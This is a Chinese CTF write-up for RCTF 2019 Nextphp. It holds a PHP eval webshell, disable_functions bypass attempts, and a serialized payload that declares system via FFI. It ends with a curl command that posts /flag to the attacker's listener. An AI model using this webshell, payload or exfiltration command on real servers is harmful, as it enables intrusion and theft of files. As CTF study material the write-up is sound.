php算法刷题网站,刷题[RCTF 2019]Nextphp

冷不防 2023-01-19 04:52 204阅读 0赞

解题思路

打开发现，？？？，这么简单嘛，直接一句话写shell

file\_put\_contents('1.php','<?php eval($\_POST\["pass"\]);?>');

蚁剑连接，？？？，就这？

好吧，只有当前目录的权限，看preload.php，看着是反序列化了

我懒，不想看序列化，不过感觉是都被禁了，没啥用

bypass\_diasble\_function

1.LD\_PRELOAD

mail,putenv,error\_log全被禁了，打扰了

2.\*\*Apache Mod CGI \*\*

没开，打扰了

3.FFI

(关于ffi在我此前的博文中有介绍，这里就不再详细说了)

核心思想：

实现用PHP代码调用C代码的方式，先声明C中的命令执行函数，然后再通过FFI变量调用该C函数即可Bypass disable\_functions

即先声明后调用

正好版本是php7.4，也就只有这个了

我一开始发现可以直接写文件，为啥不直接写呢。直接把preload.php中的内容给删除了，直接写

网页的内容是 karsa("system('cat /flag')");

好像并没有成功执行，我本地最高只有7.2的php版本，不能本地测试了。查一波手册

默认情况下，FFI API只能在CLI脚本和预加载的PHP文件中使用。

又看到mochazz师傅说的

在本地环境 ffi.enable=preload 模式下，web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后，发现 web 端就可以利用 FFI 了。

看来是无法在web端利用了

代码审计

final class A implements Serializable \{

protected $data = \[

'ret' => null,

'func' => 'print\_r',

'arg' => '1'

\];

private function run () \{

$this->data\['ret'\] = $this->data\['func'\]($this->data\['arg'\]);

\}

public function \_\_serialize(): array \{

return $this->data;

\}

public function \_\_unserialize(array $data) \{

array\_merge($this->data, $data);

$this->run();

\}

public function serialize (): string \{

return serialize($this->data);

\}

public function unserialize($payload) \{

$this->data = unserialize($payload);

$this->run();

\}

public function \_\_get ($key) \{

return $this->data\[$key\];

\}

public function \_\_set ($key, $value) \{

throw new \\Exception('No implemented');

\}

public function \_\_construct () \{

throw new \\Exception('No implemented');

\}

\}

本程序中并没有用户传参，还是需要从index.php中传参进去，反序列化。所以去掉多余的函数，编写exp

本来想只留三个属性的，发现无法序列化，缺少方法，serialize和unserialize。补上

final class A implements Serializable \{

protected $data = \[

'ret' => null,

'func' => 'FFI::cdef',

'arg' => 'int system(const char \*command);' //声明

\];

public function serialize (): string \{

return serialize($this->data);

\}

public function unserialize($payload) \{

$this->data = unserialize($payload);

\}

\}

$a = new A();

$b = serialize($a);

echo $b;

PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持\_\_sleep()和\_\_wakeup()，当类的实例被序列化时将自动调用serialize方法，并且不会调用 \_\_destruct()或有其他影响。当类的实例被反序列化时，将调用unserialize()方法，并且不执行\_\_construct()。

C:1:"A":95:\{a:3:\{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char \*command);";\}\}

上述代码实现声明

FFI::cdef("int system(const char \*command);")

所以现在只需调用即可

所以现在只要反序列化上面的payload，即可建立一个system函数，

\->\_\_serialize()\['ret'\]->system('curl -d @/flag linux靶机的ip')

buu题目只能访问内网！！！！！

xshell连接linux靶机，查询本机ip地址后，放在上面的payload中，监听

发表评论取消回复

表情：

评论列表（有 0 条评论，204人围观）

还没有评论，来说两句吧...

相关阅读

相关算法题刷题笔记

在线题库 > [牛客华为机试题库【题号 HJ开头】（重点看）][HJ] > [牛客在线编程算法篇【题号NC开头】][NC] > [剑指offer【题号 JZ开头】

深藏阁楼爱情的钟/ 2024年03月27日 11:33/ 0 赞/ 76 阅读

相关贪心算法刷题

1.递增数组题目链接：[递增数组][Link 1] 题目介绍： > 牛牛有一个数组array，牛牛可以每次选择一个连续的区间，让区间的数都加1，他想知道把这

快来打我*/ 2023年07月16日 09:59/ 0 赞/ 21 阅读

相关 php算法刷题网站,刷题[RCTF 2019]Nextphp

解题思路打开发现，？？？，这么简单嘛，直接一句话写shell file\_put\_contents('1.php','<?php eval($\_POST\["pass

冷不防/ 2023年01月19日 04:52/ 0 赞/ 205 阅读

相关算法-刷题

剑指Offer快速过了一遍字节-飞书高频题-前15 各公司的高频面试算法题，可在 [CodeTop][]查询 (1) 146. LRU 缓存机制我的实现

桃扇骨/ 2022年09月09日 02:26/ 0 赞/ 236 阅读

相关算法刷题java

一、基础运算 1.1 pow 计算x的n次幂 private static int simpleN(int i, int n) { int

柔情只为你懂/ 2022年09月04日 06:42/ 0 赞/ 227 阅读

相关算法刷题模板

滑动窗口滑动窗口解题模板：滑动窗口模板 left,right = 0, (0 or 1) res= total = 0 while

小鱼儿/ 2022年08月30日 04:24/ 0 赞/ 231 阅读

相关 LeetCode刷题指南：如何有效地刷算法题？

这篇文章最早发在团队的文档中。我的团队鼓励每个同学都在业余时间多做算法题，特别是新人。个人认为在编程能力的提升上比做 side project 更有用，对职业发展也是如此。当然

女爷i/ 2022年04月27日 21:18/ 0 赞/ 300 阅读

相关【2019.7.6】刷题记录

[1.A+B problem(dp)][1.A_B problem_dp] 看成完全背包即可。先筛一遍素数，然后枚举素数个数，在枚举价值，dp即可。代码： in

川长思鸟来/ 2021年11月27日 00:26/ 0 赞/ 251 阅读

相关 2019.7.10刷题统计

今日通过：3 通过题目编号：1067/1068/1069 排名：2 今天由于接待亲戚，刷题数不多，明天继续钻研。转载于:https://www.cnblogs.com

太过爱你忘了你带给我的痛/ 2021年11月23日 05:40/ 0 赞/ 199 阅读

相关 2019.6.16刷题统计

通过数：18 提交数：37 正确率：48.649% 通过题目：1041/1040/1039/1038/1037/1034/1033/1032/1031/1030/1029/1

谁践踏了优雅/ 2021年11月23日 05:40/ 0 赞/ 238 阅读